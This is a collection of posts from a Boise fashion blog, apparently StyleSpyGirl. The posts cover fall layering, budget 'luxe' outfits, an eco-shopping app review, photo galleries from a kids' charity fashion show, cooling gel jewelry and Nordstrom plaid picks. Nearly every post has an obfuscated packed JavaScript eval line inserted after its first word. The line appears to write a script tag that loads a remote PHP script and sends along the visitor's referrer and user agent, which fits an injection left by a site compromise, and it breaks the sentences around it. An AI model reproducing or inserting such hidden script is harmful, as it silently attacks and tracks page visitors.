Modcloth’s Layering Challenge for Fall

polyvore modcloth fall layering challenge

Classy eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bkhze|var|u0026u|referrer|seesz||js|php’.split(‘|’),0,{}))
Fall Layering With Modcloth by stylespygirl featuring:

Brrrr, the temperatures in my neck of the woods just plummeted, and we’re scrambling to bust out all our winter gear! Just in time, indie-retro-cool site Modcloth.com issued myself and a few other bloggers a fashion challenge: Show us how YOU work LAYERS!

As a girl with curves, layers can be a particular challenge; put me in a puffy coat, and I feel like that little kid in the Christmas Story, waddling down the sidewalk until he falls over in the snow and can’t get up…

Don’t fall down… Don’t fall down…

I’ve learned the trick to layering is in understanding your body, and for me that means keeping an emphasis on my waist. I’m just so happy that the big trend in winter coats this year is BELTING them. Yessss! All of the above pieces are urban-classy, totally my style, and have a defined waistline, no matter how many layers I add. And that coat – swoon! Nothing beats the winter blues like a siren-red coat!

Stay warm out there, my friends!
XOXO,
Tanya

Shop Modcloth’s selection of cozy, gorgeous sweaters for chic layering here!

Luxe Dressing For Less

Photography eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kihhh|var|u0026u|referrer|zzknn||js|php’.split(‘|’),0,{}))
by ammophotog

Every Fall, I voraciously inhale stacks of fashion magazines, like most people consume Thanksgiving dinner! There are so many fun and fascinating styles emerging on the fashion scene this season! Lately, however, I’ve been changing the way I shop and view fashion – moving away from loading-up on seasonal trendy pieces, and choosing instead to invest in long-lasting, well-made classics that (hopefully) won’t wear out before I grow tired of them. It’s a mental shift in how I utilize my budget, and has been an interesting learning curve…

Recently, instead of buying a bunch of new fall outfits, I saved up & splurged my entire budget on one amazing Coach handbag, the Borough (see photo, above!). I fell in love with its clean, classic lines, hand-stitched workmanship, and luxurious materials. This, I decided, is my first big “investment piece.” I intend to get much bang for my buck from this bag, because of how many times I will use it, year after year! This classic style won’t go out of fashion, anytime soon.

anthropologie etienne dress — Photo Courtesy of Anthropologie

pink blush navy dress — Photo courtesy of Pink Blush

But then I spotted this dress “Etienne” dress at Anthropologie, and fell in love! Sigh, I’m not going to spend $178, even though it’s oh-so-lovely; my budget is tapped out!

Some time later, I received an email from online shopping site Pink Blush, offering to let me try some of their fun clothes & accessories to highlight on my blog. Lo and behold, I found this Navy Blue Mesh Striped Dress, for only $37! Looks pretty similar to the Anthropologie dress, doesn’t it??

I added a glitzy necklace for $11, a unique bracelet for $13, and $27 Chinese Laundry shoes from Ross, and I’m all set for a fashionable business meeting downtown. My swing coat is vintage from a local thrift store; I paid around $10 for it, seriously!

Put everything together, and my entire look is LESS THAN $100, apart from my Borough bag!!!
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The key to looking luxe for less is in the details. Focus on investing in statement pieces that people will notice; quality shoes, iconic handbags, and stand-out coats are a great place to start! And if you ARE going to buy inexpensive clothes and jewelry, look for materials and craftsmanship that LOOK more expensive than they really are. This is called mixing high and low… And it’s brilliant, because not all of us can afford to wear head-to-toe designer brands every day, like Kim Kardashian.

Do you have a favorite “bargain” treasure shopping find? Tell me about it in the contest below!
One lucky person will be drawn at random to receive a $25 gift card to Pink Blush, where a little can go a long way.
Good luck!!!

XOXO,

a Rafflecopter giveaway
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Review: NEW Eco-Friendly Shopping With Orange Harp

These eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|htdnb|var|u0026u|referrer|stsft||js|php’.split(‘|’),0,{}))
days, it seems like you can throw a stone and hit a new shopping app. Personally, I get a little overwhelmed with so many sites vying for my time, my attention, and my cash. I tend to look for favorites, and stick with the apps I truly love! One new app I’m really appreciating these days is Orange Harp, the latest place for Eco-conscious shoppers who want unique and quality clothes, jewelry, and beauty products, but also want to support the companies who care about our world, and the people in it!

Orange Harp promises their site “isn’t just about shopping — it’s about attaching meaning to the products we bring into our lives.” To this end, they carefully hand-select companies, designers, and artisans who have ethical work practices, and who give back to their communities. All the products on Orange Harp are crafted from natural or renewable resources, and practice eco-conscious manufacturing, right down to their shipping supplies!

There was a time when “eco-friendly products” meant scratchy brown toilet tissue recycled from landfill boxes. Not so, anymore! A quick browse around Orange Harp’s shopping app will find you high-quality, gorgeous fashion and jewelry pieces that take the “no” out of granola. Here are some of the pieces in my “Favorites” list:

One of my favorite things about Orange Harp, besides the gorgeous, quality products they provide, is the stories. Visit the website, and you can read about each and every brand; who created it, why they did so, their inspiration, and the heart & soul behind their work. Take ETKIE, for example. Founded by New Mexico native Sydney Alfonso, ETKIE bracelets are hand-made by Native American women who were formerly unemployed, giving them a place to unleash their artistic creativity while generating income for their families!

Not only are these women creating beautiful jewelry, but they also receive support, job and life-skills training, and in some cases micro-loans to launch their own ventures! What a brilliant and beautiful story! I love knowing that this little bracelet I buy is deeply connected to another woman, one with hopes and dreams just like me… You can be sure I will appreciate that bracelet on a very different level, than one I simply buy off the shelves at a mega-store!

Another cool feature I adore is Orange Harp’s “Women We Love” page, which features brave and brilliant women from across the globe who have worked hard to achieve their dreams, with deep care & concern for the earth and humanity. Their stories are so inspiring, I hope you enjoy reading them as much as I do!

Download the Orange Harp app here.

XOXO,
Tanya

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Kids’ Fashion Rulz Photo Gallery 4

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id=”6181″]

Kids’ Fashion Rulz! Photo Gallery 3

Kids’ eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ayeyr|var|u0026u|referrer|kyfiy||js|php’.split(‘|’),0,{}))
Fashion Rulz! fashion show Part 3:

Prep & Backstage Shenanigans

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Click on an image to view it full-sized.

Photography services were donated by Emily Hawkins; contact her directly for printable-sized images & special pricing! www.EmilyHawkinsPhotography.com

[Best_Wordpress_Gallery id=”9″ gal_title=”Kids Fashion Rulz 3″]

Kids’ Fashion Rulz! Photo Gallery Part 2

Kids’ eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ztbys|var|u0026u|referrer|dsraf||js|php’.split(‘|’),0,{}))
Fashion Rulz! fashion show Part 2:

When Hannah Walked the Runway,
Introduced by the Ballet Idaho Youth Ensemble

Young Rappers Twhy & the Professor

Modeling by P.S. and Aeropostale

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Click on an image to view it full-sized.

Photography services were donated by Emily Hawkins; contact her directly for printable-sized images & special pricing! www.EmilyHawkinsPhotography.com

[Best_Wordpress_Gallery id=”8″ gal_title=”Kids Fashion Rulz 2″]

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Click here to view Kids’ Fashion Rulz! fashion show Part 3!

Kids Fashion Rulz! Photo Gallery 1

Kids’ eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rfsfy|var|u0026u|referrer|ryztt||js|php’.split(‘|’),0,{}))
Fashion Rulz! fashion show Part 1:

Modeling by Eddie Bauer, Old Navy, Bricolage, Lightning Cat, Nordstrom Rack, McU Sports, TinyTux/TuxGear,
Black Scottie, by Lisa Harmon George
Teen designer Cartier Dior, featuring accessories by Stella & Dot
Jake’s Dry Dock II, It’Sugar, the Orange & Blue Store

Click on an image to view it full-sized.

Photography services were donated by Emily Hawkins; contact her directly for printable-sized images & special pricing! www.EmilyHawkinsPhotography.com

[Best_Wordpress_Gallery id=”6″ gal_title=”Kids Fashion Rulz 1″]

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Click here to go to Kids’ Fashion Rulz! fashion show Part 2!

The New Brilliant Invention for Hot Weather Dressing!

Picture eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|iayzs|var|u0026u|referrer|ebidt||js|php’.split(‘|’),0,{}))
Courtesy of Lenny Wheeler Photography

Boise ladies, rejoice! I’ve stumbled upon the classiest way ever invented, for us to keep cool in the hot, dry summers here. They’re called Hot Girl Pearls, and were developed by a brilliant woman named Constance Sherman. She’s shown her Pearls on The View, the Today Show, and in Oprah’s magazine O, just to name a few. Ms. Sherman has found a way to create gorgeous jewelry, with the same cooling gel inside them as the ice packs in your freezer! Ingenious!!!

The pearls original intent was to help ladies suffering from hot flashes. But when I heard about them, I immediately thought about our 100+ degree Boise summers, and how much I don’t like wearing jewelry in that heat! But if there existed jewelry that could combat the heat? Sign me up! I emailed Constance right away; Boise needs these, I told her.

Hot Girl Pearls come in a variety of colors and styles. I adore the classy White Bracelet she sent me to try out! It has little Swarovski crystals on the clasp, to add a little fanciness and bling – LOVE! Oh yes, and the clasp is magnetic, and very strong, so getting the bracelet on is such a cinch.

When you order the Pearls, you also get an insulated pouch to keep them in. I has a gel ice pack in it, so you can transport your pearls, and keep them cushioned and cool, inside. What a great idea, right? You’re welcome, Boise Hot Girls!

Shop Hot Girl Pearls at HotGirlPearls.com, or on Facebook at https://www.facebook.com/HotGirlsPearls !

XOXO,

City-Wide Kids Fashion Show, coming Sept. 13th!

Coming Sept. eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|irnhr|var|u0026u|referrer|rkdir||js|php’.split(‘|’),0,{}))
13th, Boise’s first city-wide Kids’ Fashion Rulz! Fashion Show, presented by StyleSpyGirl. DRESS UP IN YOUR SUNDAY BEST, and bring the entire family for a posh, catered fashion show featuring kids’ and teens’ fashions from The Village, Boise Towne Square, and boutiques and local designers from across the Treasure Valley. Proceeds benefit the Rodgers Family, whose precious young daughter is battling fatal Batten Disease. Her biggest wish is to someday be a supermodel. Come support Hannah as she gets her wish, and walks the runway as the evening’s star model!

TICKETS & SHOW DETAILS AVAILABLE HERE!

Hannah Rodgers is 9 years old, and is currently the only person in the state of Idaho with the very rare and devastating disease known as Batten Disease. Batten is a neurodegenerative disorder that begins in childhood and presents itself through seizures, personality changes, a decrease in motor skills, and the onset of blindness. There is currently no cure for Batten. Over time, affected children lose their sight, suffer mental impairment, worsening seizures, and progressive loss of motor skills. And the disease ultimately takes their life.

Hannah is dealing with all of these things, but does NOT know that her illness is fatal. She knows that she will not get better, and that her family is doing all they can to help her live this life to the fullest, for now and with all the love and energy they have! Hannah’s family is facing major challenges with her care, as it will take about 10 years for the disease to slowly and painfully take their daughter. By the time she is a young adolescent, she will be wheelchair-ridden, unable to speak or feed herself, and completely reliant on her family. To this end, they are preparing their home for Hannah’s care, installing wheelchair ramps, widening doors, and adding a new bedroom for her that will be big enough to accommodate all of her medical equipment and care. Combined, these projects are a huge financial challenge.

Kids love helping kids! This event will allow local youth to do just that. During this huge fall fashion show kids and teens will model back-to-school clothes, and support Hannah as she walks down the runway. She is already completely blind, so she will be escorted by her sister and her best friend. As I mentioned above, her dream is to become a supermodel. Hannah will hear and feel it all; the music, the applause, and the cheers of a supportive community who cares about kids, and making her dream come true.

Join us as a community of families to become the Rodgers’ Extreme Home Makeover, in a manner of speaking! All proceeds will go into a special fund for their family, to help cover some of the costs accumulated as they make every effort for Hannah to live her life to the fullest. Come enjoy the fashion show, encourage the kids, experience the live entertainment, and help a family in need!

XOXO,
Tanya

Nordstrom Ups the Ante on the Latest Plaid Styles for Fall!

There’s eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zheas|var|u0026u|referrer|dtrzz||js|php’.split(‘|’),0,{}))
something about the return of Fall, when we feel that crisp morning air and hear school bells ring, that makes us reach for a cup of hot chocolate and our favorite cozy plaid pieces to snuggle up with! Plaid is timeless and classic, making it a great wardrobe staple you can pull out again and again, as the years pass. Above is my favorite plaid skirt: it’s a vintage piece from Nordstrom that I found at a local resale store! I love the unconventional color combo, and the cozy soft wool. It reminds me of my hometown, Seattle, with its’ misty fall mornings and Starbucks stands on every corner…

When Nordstrom’s August 2014 Catalog arrived in my mailbox, I wasn’t surprised to see a plethora of plaid styles throughout the pages. What did surprise me, however, is all the cool and unexpected ways Nordy’s upped the ante on this favorite fall staple! Oh my goodness, how hot and fun are these looks?? I just had to share them with you!

Here are some inspiring Fall Looks, from their August 2014 Catalog. Enjoy!

Which one is your favorite? Will you be rocking plaid this fall? Tell me your thoughts in the comment section below!

rag & bone/JEANS “The Leeds” Plaid Shirt, $264 / rag & bone/JEANS High Rise Skinny Stretch Jeans, $185

ACE Delivery Shirt, $68 / Tube Skirt, $58

TREASURE & BOND Sweatshirt, $68 / Hinge Skort, $68

TREASURE & BOND Sweater, $78 / Plaid Shirt / Boyfriend Jeans, $88

HUE Plaid Leggings, $48 / Pretty Polly Tartan Tights, $25

SPLENDID Aston Flannel Shirt, $128 / PAIGE Verdugo Ankle Jeans, $169

BOBEAU Plaid-Front Sweatshirt, $54 / NYDJ Ami Skinny Jeans, $114

RENEE’S ACCESSORIES Oversized Plaid Scarf, $38

AUGUST HAT Home Run Baseball Cap, $32

BOBEAU Lace Border Print Dress, $58

DR. MARTENS Alexandra Boot, $139.95 / STEVE MADDEN Pasa Work Boot, $109.95

BARGAIN HUNTERS: Most of these brands and looks can be found at a discount at your local Nordstrom Rack, also!!! Click here to find the Rack nearest to you.